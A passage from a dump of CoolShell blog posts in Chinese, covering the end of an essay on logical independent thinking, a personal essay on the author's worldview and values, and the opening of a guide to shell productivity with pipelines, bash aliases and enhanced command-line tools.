%80%96%E5%AD%98%E8%80%85%E5%81%8F%E5%B7%AE)会是一个很容易让人掉下去的陷阱，因为可能会有很大的样本集可能在你的视线盲区。\n\n\n**第三步：处理逻辑因果关系**。所谓因果关系，其实就是分辨充分条件、必要条件和充分必要条件，然后处理其中的逻辑是否有关联性，而且有非常强的因果关系。没有能力分辨充分必要条件处理因果关系是很多人的硬伤。就像我在《[努力就会成功](https://coolshell.cn/articles/19271.html)》中说的一样，“努力” 和 “成功”是否有因果关系？各种逻辑混淆、概念偷换、模糊因果、似是而非全是在这里。比如：掩耳盗铃、刻舟求剑就是因果关系混乱的表现。人们会经常地混淆两个看来一起发生，但是并没有关联在一起的事。因果关系是最容易被模糊和偷换的，比如：很多人都容易混淆“加班”就会有“产出”，混淆了“行动”就会有“结果”，混淆了“抵制”就会赢得“尊重”，混淆了“批评”等于“反对”……等等。除了这些以外，微信公众号里的很多时评文章，他们的文章中的结论和其论据是没有因果关系的，好多文章就是混淆、模糊、偷换……**因果关系出问题的文章读多了是对大脑有损伤的，要尽量远离**。\n\n\n**第四步：找到靠谱的基准线**。就像我们写代码一样，我们都是会去找一些最佳实践或是业内标准，原因是因为，这样的东西都是经过长时间被这个世界上很多人Review过的，是值得依赖和靠谱的，他们会考虑到很多你没有考虑过的问题。所以，你也会看到很多时评都会找欧美发达国家的作参考的做法，因为毕竟人家的文化是相对比较文明、科学、开放和先进的。找到世界或是国际的通行标准，会更容易让人进步。比如：以开放包容加强沟通的心态，就会比封闭抵制敌对的心态要好得多得多，智者建桥，愚者建墙。当然，我们也开始发现，有一些事上，有利于自己的就对标，不利于自己的就不对标，而且，除了好的事，不好的事也在找欧美作对标，于是开始“多基准线”和“乱基准线”，这种方式需要我们小心分辨。\n\n\n**第五步：更为深入和高维的思考**。如果一件事情只在表面上进行思考其实只是一种浅度思考，在Amazon，线上系统出现故障的时候，需要写一个Correction of Errors的报告，其中需要Ask 5 Whys（参看 Wikipedia 的 [Five Whys 词条](https://en.wikipedia.org/wiki/Five_whys)），这种思考方式可以让你不断追问到深层次的本质问题，会让你自己做大量的调查和研究，让你不会成为一个只会在表面上进行思考的简单动物。比如：当你看到有出乎你意料的事件发生时（比如负面的暴力事件），你需要问一下，为什么会发生，原因是什么？然后罗列尽可能全的原因，再不断地追问并拷证下去（这跟写程序一样，需要从正向案例和负向案例进行考虑分析，才可能写出健壮性很强的代码），我们才会得出一个比较健壮的答案或结构。\n\n\n需要注意的是，在上述的这五种思维方式下，你的思考是不可能快得起来的，这是一个“慢思考”（注：如果读过《[思考，快与慢](https://book.douban.com/subject/10785583//)》这本书的人就知道我在说什么），独立思考是需要使用大脑中的“慢系统”，慢系统是反人性的，所以，能真正做到独立思考的人很少。更多的人的“独立思考”其实只不过是毫无章法的乱思考罢了。\n\n\n通过上述的这五点，我相信你是很容易识别或是分辨出哪些信息是靠谱的，哪些信息是很扯的，甚至会改善你自己的言论和思考。但是，**请注意，这些方法并不能让你获得真理或是真相**。但是这也够了，一个人如果拥有了能够分辨是非的能力，也是很不错的了。虽然不知道事实是什么，但是你也不会盲从和偏信，从而不会被人煽动，而成为幕后黑手的的一只“肉鸡”。\n\n\n多说两句，下面是一些我个人的一些实践：\n\n\n* 当新闻报道报道的不是客观事实，而是加入了很多观点，那么这篇新闻报道是不可信的。\n* 对于评论性的文章，没有充足权威可信的论据时，不能完全相信。\n* 不是当事人，不是见证人，还要装作自己是知情的……不知道这种人的自信怎么来的？\n* 信息不公开的，并有意屏蔽信息的，不能作为可信的信息源。\n* 当出现大是或是大非的事时，一定要非常小心，这个世界不存在完全的美和完全的丑，这样的观点通常来说都是危险的，此时要多看看不同角度的报道和评论，要多收集一些信息，还要多问问为什么。\n\n\n欢迎你告诉我一些你的实践和思维方式。\n\n\n（全文完）\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\nThe post [使用简单的逻辑方法进行独立思考](https://coolshell.cn/articles/20533.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-2-26 谈谈我的“三观”.md",
    "content": "---\nlayout: post\ntitle: 谈谈我的“三观”\ndate: 2019/2/26/ 8:2:7\nupdated: 2019/2/26/ 8:2:7\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2019/02/cross.road_-300x200.jpg)也许是人到了四十多了，敢写这么大的命题，我也醉了，不过，我还是想把我的想法记录下来，算是对我思考的一个snapshot，给未来的我看看，要么被未来的我打脸，要么打未来我的脸。无论怎么样，我觉得对我自己都很有意义。注意，这篇文章是长篇大论。\n\n\n三观是世界观、人生观和价值观，\n\n\n* **世界观代表你是怎么看这个世界的。**是左还是右，是激进还是保守，是理想还是现实，是乐观还是悲观……\n* **人生观代表你要想成为什么样的人。**是成为有钱人，还是成为人生的体验者，是成为老师，还是成为行业专家，是成为有思想的人，还是成为有创造力的人……\n* **价值观则是你觉得什么对你来说更重要**。是名是利，是过程还是结果，是付出还是索取，是国家还是自己，是家庭还是职业……\n\n\n人的三观其实是会变的，回顾一下我的过去，我感觉我的三观至少有这么几比较明显的变化，学生时代、刚走上社会的年轻时代，三十岁后的时代，还有现在。估计人都差不多吧……\n\n\n* 学生时代的三观更多的是学校给的，用各种标准答案给的，是又红又专的\n* 刚走上社会后发现完全不是这么一回事，但学生时代的三观根深蒂固，三观开始分裂，内心开始挣扎\n* 三十岁后，不如意的事越来越多，对社会越来越了解，有些人屈从现实，有些人不服输继续奋斗，而有些人展露才能开始影响社会，而分裂的三观开始收敛，我属于还在继续奋斗的人。\n* 四十岁时，经历过的事太多，发现留给自己的时间不多，世界太复杂，而还有好多事没做，从而变得与世无争，也变得更为地自我。\n\n\n\n#### 面对世界\n\n\n年轻的时候，抵制过日货，虽然没上过街，但是也激动过，一次是1999南斯拉夫大使馆被炸，一次是2005反日示威，以前，我也是一个爱国愤青。但是后来，有过各种机会出国长时间生活工作，加拿大、英国、美国、日本……随着自己的经历和眼界的开阔，自己的三观自己也随着有了很多的变化，发现有些事并不是自己一开始所认识的那样，而且还是截然相反的。**我深深感觉到，要有一个好的世界观，你需要亲身去经历和体会这个世界，而不是听别人说**。所以，当我看到身边的人情绪激动地要抵制这个国家，搞死那个民族的时候，我都会建议他去趟那个国家最好在在那个国家呆上一段时间，亲自感受一下。\n\n\n再后来发现，要抵制的越来越多，小时候的美英帝国主义，然后是日本，再后面是法国、韩国、菲利宾、印度、德国、瑞典、加拿大……从小时候的台独到现在的港独、藏独、疆独……发现再这样下去，基本上来说，自己的人生也不用干别的事了……另外，随着自己的成长，越来越明白，**抵制这个抵制那个只不过是幼稚和狭隘的爱国主义，真想强国，想别让他人看得起，就应该把时间和精力放在努力学习放在精益求精上，做出比他们更好的东西来。**另外，感觉用对内的爱国主义解决对外的外交问题也有点驴唇不对马嘴，无非也就是转移一下内部的注意力罢了，另外还发现爱国主义还可以成为消费营销手段……**不是我不爱国，是我觉得世道变复杂了，我只是一个普通的老百姓，能力有限，请不要赋予我那么大的使命，我只想在我的专业上精进，能力所能及地帮助身边的人，过一个简单纯粹安静友善的生活**……\n\n\n另外，为什么国与国之间硬要比个你高我低，硬要分个高下，硬要争出个输赢，我也不是太理解，世界都已经发展到全球化的阶段了，很多产品早就是你中有我，我中有你的情况了。举个例子，一部手机中的元件，可能来自全世界数十个国家，我们已经说不清楚一部手机是究竟是哪个国家生产的了。即然，整个世界都在以一种合作共赢全球化的姿态下运作，认准自己的位置，拥抱世界，持续向先进国家学习，互惠互利，不好吗？你可能会说，不是我们不想这样，是别人不容我们发展……**老实说，大的层面我也感受不到，但就我在的互联网计算机行业方面，我觉得整个世界的开放性越来越好，开源项目空前地繁荣，世界上互联网文化也空前的开放，在计算机和互联网行业，我们享受了太多的开源和开放的红利，人家不开放，我们可能在很多领域还落后数十年。然而现在很多资源我们都访问不了，用个VPN也非法，你说是谁阻碍了发展？我只想能够流畅地访问互联网，让我的工作能够更有效率，然而，我在自己的家里却像做贼一样去学习新知识新技术，随时都有可能被抓进监狱……**\n\n\n随着自己的经历越多，发现这个世界越复杂，也发现自己越渺小，很多国家大事并不是我不关心，是我觉得那根本不是我这个平头老百姓可以操心的事，这个世界有这个世界运作的规律和方法，而还有很多事情超出了我能理解的范围，也超出了我能控制的范围，我关心不关心都一个样，这些大事都不会由我的意志所决定的。而所谓的关心，无非就是喊喊口号，跟人争论一下，试图改变其它老百姓的想法，然而，对事情的本身的帮助却没有多大意义。过上几天，生活照旧，人家该搞你还不是继续搞你，而你自己并不因为做这些事而过得更好。\n\n\n**我对国与国之间的关系的态度是，有礼有节，不卑不亢，对待外国人，有礼貌但也要有节气，既不卑躬屈膝，也不趾高气昂**，整体上，我并不觉得我们比国外有多差，但我也不觉得我们比国外有多好，我们还在成长，还需要帮助和协作，四海之内皆兄弟，无论在哪个国家，在老百姓的世界里，哪有那么多矛盾。**有机会多出去走走，多结交几个其它民族的朋友，你会觉得，在友善和包容的环境下，你的心情和生活可以更好**。\n\n\n我现在更多关心的是和我生活相关的东西，比如：上网、教育、医疗、食品、治安、税务、旅游、收入、物价、个人权益、个人隐私……这些东西对我的影响会更大一些，也更值得关注，可以看到过去的几十年，我们国家已经有了长足的进步，这点也让我让感到很开心和自豪的，在一些地方也不输别人。但是，依然有好些事的仍然没有达到我的预期，而且还很糟糕，这个也要承认。而对，未来的变数谁也不好说，我在这个国度里的安全感似乎还不足够，所以，我还是要继续努力，以便我可以有更多的选项。有选项总比没得选要好。所以，**我想尽一切办法，努力让选项多起来，无法改变无法影响，那就只能提高自己有可选择的可能性**。\n\n\n#### 面对社会\n\n\n另外，在网上与别人对一些事或观点的争论，我觉得越来越无聊，以前被怼了，一定要怼回去，现在不会了，视而不见，不是怕了，是因为，网络上的争论在我看来大多数都是些没有章法，逻辑混乱的争论。\n\n\n* 很多讨论不是说事，直接就是怼人骂人。随意就给人扣个帽子。\n* 非黑即白的划分，你说这个不是黑的，他们就把你划到白的那边。\n* 飘移观点，复杂化问题。东拉西扯，牵强附会，还扯出其它不相关的事来混淆。\n* 杠精很多，不关心你的整体观点，抓住一个小辫子大作文章。\n\n\n很明显，**与其花时间教育这些人，不如花时间提升自己，让自己变得更优秀，这样就有更高的可能性去接触更聪明更成功更高层次的人**。因为，一方面，你改变不了他们，另外，改变他们对你自己也没什么意义，改变自己，提升自己，让自己成长才有意义。时间是宝贵的，那些人根本不值得花时间，应该花时间去结交更有素质更聪明的人，做更有价值的事。\n\n\n美国总统富兰克林·罗斯福妻子埃莉诺·罗斯福（Eleanor Roosevelt）说过下面的一句话。\n\n\n\n> **Great minds discuss ideas;  \n> \n> Average minds discuss events;  \n> \n> Small minds discuss people**\n> \n> \n\n\n把时间多放在一些想法上，对自己对社会都是有意义的，把时间放在八卦别人，说长到短，你也不可能改善自己的生活，**你批评这个批评那个，看不上这个看不起那个，不会让你有成长，也不会提升你的影响力，你的影响力不是你对别人说长道短的能力，而是别人信赖你并希望得到你的帮助的现象**。多交一些有想法的朋友，多把自己的想法付诸实践，那怕没有成功，你的人生也会比别人过得有意义。\n\n\n如果你看过我以前的文章，你会看到一些吐槽性质的文章，而后面就再也没有了。另外，我也不再没有针对具体的某个人做出评价，因为人太复杂的了，经历的越多，你就会发现你很难评价人，与其花时间在评论人和事上，不如把时间花在做一些力所能及的事来改善自己或身边的环境。所以，**我建议大家少一些对人的指责和批评，通过对一件事来引发你的思考，想一想有什么可以改善，有什么方法可以做得更好，有哪些是自己可以添砖加瓦的？你会发现，只要你坚持这么做，你个人的提升和对社会的价值会越来越大，而你的影响力也会越来越大**。\n\n\n#### 面对人生\n\n\n现在的我，即不是左派也不是右派，我不喜欢爱国主义，我也不喜欢崇洋媚外，我更多的时候是一个自由派，哪边我都不站，我站我自己。因为，生活在这样的一个时代，能让自己过好都是一些比较奢望的事了。\n\n\n《教父》里有这样的人生观：**第一步要努力实现自我价值，第二步要全力照顾好家人，第三步要尽可能帮助善良的人，第四步为族群发声，第五步为国家争荣誉。事实上作为男人，前两步成功，人生已算得上圆满，做到第三步堪称伟大，而随意颠倒次序的那些人，一般不值得信任**。这也是古人的“修身齐家治国平天下”！所以，在你我准备要开始要“平天下”的时候，也得先想想，自己的生活有没有过好了，家人照顾好了么，身边有哪些力所能及的事是可以去改善的……\n\n\n穷则独善其身，达则兼济天下。提升自己，实现自我，照顾好自己的家人，帮助身边的人。这已经很不错了！\n\n\n什么样的人干什么样的事，什么样的阶段做什么样的选择，**有人的说，选择比努力更重要的，我深以为然，而且，我觉得选择和决定，比努力更难**，努力是认准了一个事后不停地发力，而决定要去认准哪个事是自己该坚持努力的，则是令人彷徨和焦虑的（半途而废的人也很多）。面对人生，你每天都在作一个一个的决定，在做一个又一个的选择，有的决定大，有的决定小，你的人生的轨迹就是被这一个一个的决定和选择所走走出来的。\n\n\n我在24岁放弃了一房子离开银行到小公司的时候，我就知道，人生的选择就是一个翘翘板，你要一头就没有另一头，**选择是有代价的，你不选择的代价更大；选择是要冒险的，你不敢冒险的风险更大；选择是需要放弃的，因为无论怎么选你都会要放弃。想想你老了以后，回头一看，好多事情在年轻的时候都不敢做，而你再也没有机会，你就知道不敢选择不敢冒险的代价有多大了。**选择就是一种 trade-off，这世上根本不会有什么完美，只要你想做事，你有雄心壮志，你的人生就是一个坑接着一个坑，你所能做的就是找到你喜欢的方向跳坑。\n\n\n所以， 你要想清楚你要什么，不要什么，而且还不能要得太多，这样你才好做选择。否则，你影响你的因子太多，决定不好做，也做不好。\n\n\n就像最前面说的一样，你是激进派还是保守派，你是喜欢领导还是喜欢跟从，你是注重长期还是注重短期，你是注重过程还是注重结果……等等，你对这些东西的坚持和守护，成为了你的“三观”，而你的三观则影响着你的选择，而你的选择影响着你的人生。\n\n\n#### 价值取向\n\n\n下面是一些大家经常在说，可能也是大多数人关心的问题，就这些问题，我也谈谈我的价值取向。\n\n\n**挣钱**。挣钱是一个大家都想做的事，但你得解决一个很核心的问题，那就是为什么别人愿意给你钱？对于挣钱的价值观从我大学毕业到现我就没怎么变过，那就是我更多关注的是怎么提高自己的能力，让自己值那个价钱，让别人愿意付钱。另外一方面，我发现，**越是有能力的人，就越不计较一些短期得失，越计较短期得失的人往往都是很平庸的人**。有能力的人不会关心自己的年终奖得拿多少，会不会晋升，他们更多的关心自己真正的实力有没有超过更多的人，更多的关注的是自己长远的成长，而不是一时的利益。聪明的人从来不关心眼前的得失，不会关心表面上的东西，他们更多关心的是长期利益，关心长期利益的人一定不是投机者，一定是投资者，**投资会把自己的时间精力金钱投资在能让自己成长和提升的地方，那些让自己可以操更大的盘的地方，他们培养自己的领导力和影响力。**而投机者在职场上会通过溜须拍马讨好领导，在学习上追求速成，在投资上使用跟随策略，在创业上甚至会不择手段，当风险来临时，投机者是几乎完全没有抗风险能力的，他们所谓的能力只不过因为形势好。\n\n\n \n\n\n**技术**。对于计算机技术来说，要学的东西实在是太多，我并不害怕要学的东西很多，因为学习能力是一个好的工程师必需具备的事，我不惧怕困难和挑战。我觉得在语言和技术争论谁好谁坏是一种幼稚的表现， 没有完美的技术，Engineering 玩的是 Tradeoff。所以，我对没有完美的技术并不担心，但是我反而担心的是，当我们进入到一些公司后，这些公司会有一些技术上的沉淀也就是针对公司自己的专用技术，比如一些中间件，一些编程框架，lib库什么的。老实说，我比较害怕公司的专用技术，因为一旦失业，我建立在这些专用技术上的技能也会随之瓦解，有时候，我甚至害怕把我的技术建立在某一个平台上，小众的不用说了，大众的我也比较担扰，比如Windows或Unix/Linux上，因为一旦这个平台不流行或是被取代，那么我也会随之淘汰（过去的这20年已经发生过太多这样的事了）。为了应对这样的焦虑，**我更愿意花时间在技术的原理和技术的本质上，这导致我需要了解各种各样的技术的设计方法，以及内在原理。**所以，当国内的绝大多数程序员们更多的关注架构性能的今天，我则花更多的时间去了解编程范式，代码重构，软件设计，计算机系统原理，领域设计，工程方法……因为只有原理、本质和设计思想才可能让我不会被绑在某个专用技术或平台上，除非，我们人类的计算机这条路没走对。\n\n\n \n\n\n**职业**。在过去20多年的职业生涯中，我从基层工程师做到管理，很多做技术的人都会转管理，但我却还是扎根技术，就算是在今天，还是会抠很多技术细节，包括写代码。因为我心里觉得，不写代码的人一定是做不好技术管理的，因为做技术管理有人要做技术决定，从不上手技术的人是做不好技术决定的，另一方面，我觉得管理是支持性的工作，不是产出性的工作，大多数的管理者无非是因为组织大了，所以需要管人管事，所以，必然要花大量的时间和精力处理各种问题，甚至办公室政治，然而，如果有一天失业了，大环境变得不好了，一个管理者和一个程序员要出去找工作，程序员会比管理者更能自食其力。所以，我并不觉得管理者这个职业有意思，我还是觉得程序员这个有创造性的职业更有趣。**通常来说，管理者的技能力需要到公司和组织里才能展现，而有创造力的技能的人是可以自己独立的能力，所以，我觉得程序员的技能比管理者的技能能让我更稳定更自地活着**。所以，我更喜欢“[电影工作组](https://coolshell.cn/articles/4951.html)”那样的团队和组织形式。\n\n\n \n\n\n**打工**。对于打工，也就是加入一家公司工作，无论是在一家小公司还是一家大公司工作，都会有好的和不好的，任何公司都有其不完美的地方，这个需要承认。首先第一的肯定是完成公司交给你的任务（但我也不会是傻傻地完成工作，对于一些有问题的任务我也会提出我的看法），然后我会尽我所能在工作找到可以提高效率的地方进行改善。在推动公司/部门/团队在一技术和工程方面进步并不是一件很容易的事，因为进步是需要成本的，有时候，这种成本并不一定是公司和团队愿意接受的，而另外，从客观规律上来说，一件事的进步一定是会有和现状有一些摩擦的。有的人害怕有摩擦而忍了，而我则不是，我觉得与别人的摩擦并不可怕，因为大家的目标都是基本一致的，只是做事的标准和方式不一样，这是可能沟通的，始终是会相互理解的。而如果你没有去推动一个事，我觉得对于公司对于我个人来说，都是一种对人生的浪费，敬业也好，激情也好，其就是体现在你是否愿意冒险去推动一件于公于私都有利的事，而不是成为一个“听话”、“随大流”、“懒政”的人，即耽误了公司也耽误了自己。所以，我更信仰的是《[做正确的事情，等着被开除](http://www.aqee.net/post/do-the-right-thing-wait-to-get-fired.html)》，这些东西，可参看《[我看绩效考核](https://coolshell.cn/articles/17972.html)》，以及我在[Gitchat上的一些问答](https://mp.weixin.qq.com/s?__biz=MzUyOTA1NTkzNw==&mid=2247484417&idx=1&sn=316f9f6d6ac7cdca97123815a67a665a&chksm=fa67adafcd1024b948caed0e5528c4817a7ef2b1b1a3ab8da34e0ff4231b28c2659ee9951112#rd)。\n\n\n \n\n\n**创业**。前两天，有个小伙来跟我说，说他要离开BAT要去创业公司了，说在那些更自由一些，没有大公司的种种问题。我毫不犹豫地教育了他一下，我说，你选择这个创业公司的动机不对啊，你无非就是在逃避一些东西罢了，你把创业公司当做是一个避风港，这是不对的，创业公司的问题可能会更多，去创业公司的更好的心态是，这个创业公司在干的事业是不是你的事业？说白了，如果你是为了你的事业，为了解决个什么，为了改进个什么，那么，创业是适合你的，**也只有在做自己事业的时候，你才能不惧困难，才会勇敢地面对一切**。**那种想找一个安稳的避风港呆着的心态是不会让你平静地，你要知道世界本来就是不平静的，找了自己的归宿和目标才可能让你真正的平静**。所以，在我现的创业团队，我不要求大家加班，我也不鸡汤洗脑，对于想要加入的人，我会跟他讲我现在遇到的各种问题以及各种机遇，并一直在让他自己思考，我们在做的事是不是自己的事业诉求？还可不可以更好？**每个人都应该为自己的事业为自己的理想去活一次，追逐自己的事业和理想并不容易，需要有很大的付出，而也只有你心底里的那个理想值得这么大的付出**……\n\n\n \n\n\n**客户**。基于上述的价值观，在我现在创业的时候，我在面对客户的时候，也是一样的，我并不会完全的迁就于客户，我的一些银行客户和互联网客户应该体会到我的做的方式了，我并不觉得迁就用户，用户要什么我就应该给什么，用户想听什么，我就说什么，虽然这样可以省着精力，更圆滑，但这都不是我喜欢的，**我更愿意鲜明地表达我的观点，并拉着用户跟我一起成长，因为我并不觉得完成客户的项目有成就感，我的成就感来自客户的成长**。所以，面对客户有些做得不对有问题有隐患的地方，或是有什么做错的事，我基本上都是直言不讳地说出来，因为我觉得把真实的相法说出来是对客户和对自己最基本的尊重，不管客户最终的选择是什么，我都要把利弊跟客户讲清楚。我并不是在这里装，因为，我也想做一些更高级更有技术含量的事，所以，对于一些还达到的客户，我如果不把他们拉上来，我也对不起自己。\n\n\n \n\n\n在我“不惑之年”形成了这些价值观体系，也许未来还会变，也许还不成熟，总之，我不愿跟大多数人一样，因为大多数人都是随遇而安随大流的，因为这样风险最小，而我想走一条属于自己的路，做真正的自己，就像我24岁从银行里出来时想的那样，**我选择对了一个正确的专业（计算机科学），呆在了一个正确的年代（信息化革命），这样的“狗屎运”几百年不遇，如果我还患得患失，那我岂不辜负活在这样一个刺激的时代？！我所要做的就是在这个时代中做有价值的事就好了！这个时代真的是太好了！**\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [谈谈我的“三观”](https://coolshell.cn/articles/19085.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-3-17 打造高效的工作环境 – Shell 篇.md",
    "content": "---\nlayout: post\ntitle: 打造高效的工作环境 – Shell 篇\ndate: 2019/3/17/ 5:53:1\nupdated: 2019/3/17/ 5:53:1\nstatus: publish\npublished: true\ntype: post\n---\n\n\n\n> **注：本文由[雷俊](https://github.com/rayjun)(Javaer/Emacser)和我一起编辑，所以文章版权归雷俊与我共同所有，转载者必需注明出处和我们两位作者。原文最早发于酷壳微信公众号，后来我又做了一些修改，再发到博客这边。**\n> \n> \n\n\n![](../wp-content/uploads/2019/03/linux.ninja_.png)程序员是一个很懒的群体，总想着能够让代码为自己干活，他们不断地把工作生活中的一些事情用代码自动化了，从而让整个社会的效率运作地越来越高。所以，程序员在准备去优化这个世界的时候，都会先要优化自己的工作环境，是所谓“工欲善其事，必先利其器”。\n\n\n我们每个程序员都应该打造一套让自己更为高效的工作环境。那怕就是让你少输入一次命令，少按一次键，少在鼠标和键盘间切换一次，都会让程序员的工作变得更为的高效。所以，程序员一般需要一台性能比较好，不会因为开了太多的网页或程序就卡得不行的电脑，还要配备多个显示器，一个显示器写代码，一个查文档，一个测试运行结果，而不必在各种窗口来来回回的切换……在大量的窗口间切换经常会迷路，而且也容易出错（分不清线上或测试环境）……\n\n\n除了硬件上的装备，软件上也是能够提升程序员生产力的地方，**在软件层面提升程序员生产力的东西有一个很重要的事就是命令行和脚本**，使用鼠标和图形界面则会大大降低程序员的生产力。酷壳以前也写过一些，如《[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)》和《 [应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)》，但是Unix/Linux Shell就是一个大宝库，怎么写也写不完，不然，怎么会有“Where is the Shell, there is a way”。\n\n\n\n#### 命令行\n\n\n在不同的操作系统下，都有着很不错的命令行工具，比如 Mac 下的 **Iterm2**，Linux 下的原生命令行，如果你是在 Windows 下工作，问题也不大，因为 Windows 下现在有了 **WSL**。WSL 提供了一个由微软开发的Linux兼容的内核接口（不包含Linux内核代码），然后可以在其上运行GNU用户空间，例如 Ubuntu，openSUSE，SUSE Linux Enterprise Server，Debian和Kali Linux。这样的用户空间可能包含 Bash shell 和命令语言，使用本机 GNU/Linux 命令行工具（sed，awk 等），编程语言解释器（Ruby，Python 等），甚至是图形应用程序（使用主机端的X窗口系统）。\n\n\n使用命令行可以完成所有日常的操作，新建文件夹（mkdir）、新建文件（touch）、移动（mv）、复制（cp）、删除（rm）等等。而且使用 Linux/Unix 命令行最好的方式是可以用 `awk`、`sed`、`grep`、`xargs`、`find`、`sort` 等等这样的命令，然后用管道把其串起来，就可以完成一个你想要的功能，尤其是一些简单的数据统计功能。这是Linux命令行不可比拟的优势。比如：\n\n\n* 查看连接你服务器 top10 用户端的 IP 地址：\n\n\n`netstat -nat | awk '{print $5}' | awk -F ':' '{print $1}' | sort | uniq -c | sort -rn | head -n 10`\n\n\n* 查看一下你最常用的10个命令：\n\n\n`cat .bash_history | sort | uniq -c | sort -rn | head -n 10 (or cat .zhistory | sort | uniq -c | sort -rn | head -n 10`\n\n\n（注：`awk` 和 `sed` 是两大神器，所以，我以前的也有两篇文章来介绍它们——《[awk简明教程](https://coolshell.cn/articles/9070.html)》和《[sed简明教程](https://coolshell.cn/articles/9104.html)》，你可以前往一读）\n\n\n在命令行中使用 **alias** 可以将使用频率很高命令或者比较复杂的命令合并成一个命令，或者修改原生的命令。\n\n\n下面这几个命令，可能是你天天都在敲的。所以，你应该设置成 alias 来提高效率\n\n\n\n```\n\nalias nis=\"npm install --save \"\nalias svim='sudo vim'\nalias mkcd='foo(){ mkdir -p \"$1\"; cd \"$1\" }; foo '\nalias install='sudo apt get install'\nalias update='sudo apt-get update; sudo apt-get upgrade'\nalias ..=\"cd ..\"\nalias ...=\"cd ..; cd ..\"\nalias www='python -m SimpleHTTPServer 8000'\nalias sock5='ssh -D 8080 -q -C -N -f user@your.server'\n\n```\n\n你还可以参考如下的一些文章，看看别人是怎么用好 `alias` 的\n\n\n* [30 Handy Bash Shell Aliases For Linux / Unix / Mac OS X](https://www.cyberciti.biz/tips/bash-aliases-mac-centos-linux-unix.html)\n* [What are your favorite bash aliases?](https://www.digitalocean.com/community/questions/what-are-your-favorite-bash-aliases)\n* [23 Handy Bash Shell Aliases For Unix, Linux, and Mac OS X](https://www.linuxtrainingacademy.com/23-handy-bash-shell-aliases-for-unix-linux-and-mac-os-x/)\n* [A few more of my favorite Bash aliases](https://brettterpstra.com/2013/03/31/a-few-more-of-my-favorite-shell-aliases/)\n\n\n命令行中除了原生的命令之外，还有很多可以提升使用体验的工具。下面罗列一些很不错的命令，把原生的命令增强地很厉害:\n\n\n* [**fasd**](https://github.com/clvv/fasd) 增强了 `cd` 命令 。\n* [**bat**](https://github.com/sharkdp/bat) 增强了 `cat` 命令 。如果你想要有语法高亮的 `cat`，可以试试 [**ccat**](https://github.com/jingweno/ccat) 命令。\n* [**exa**](https://github.com/ogham/exa) 增强了 `ls` 命令，如果你需要在很多目录上浏览各种文件 ，[**ranger**](https://github.com/ranger/ranger) 命令可以比 `cd` 和 `cat` 更有效率，甚至可以在你的终端预览图片。\n* [**fd**](https://github.com/sharkdp/fd) 是一个比 `find` 更简单更快的命令，他还会自动地忽略掉一些你配置在 `.gitignore` 中的文件，以及 `.git` 下的文件。\n* [**fzf**](https://github.com/junegunn/fzf) 会是一个很好用的文件搜索神器，其主要是搜索当前目录以下的文件，还可以使用 `fzf --preview 'cat {}'`边搜索文件边浏览内容。\n* `grep` 是一个上古神器，然而，[**ack**](https://beyondgrep.com/)、[**ag**](https://github.com/ggreer/the_silver_searcher) 和 [**rg**](https://github.com/BurntSushi/ripgrep) 是更好的grep，和上面的 `fd`一样，在递归目录匹配的时候，会使用你配置在 `.gitignore` 中的规则。\n* `rm` 是一个危险的命令，尤其是各种 `rm -rf …`，所以，[**trash**](https://github.com/andreafrancia/trash-cli/) 是一个更好的删除命令。\n* `man` 命令是好读文档的命令，但是man的文档有时候太长了，所以，你可以试试 [**tldr**](https://github.com/tldr-pages/tldr) 命令，把文档上的一些示例整出来给你看。\n* 如果你想要一个图示化的`ping`，你可以试试 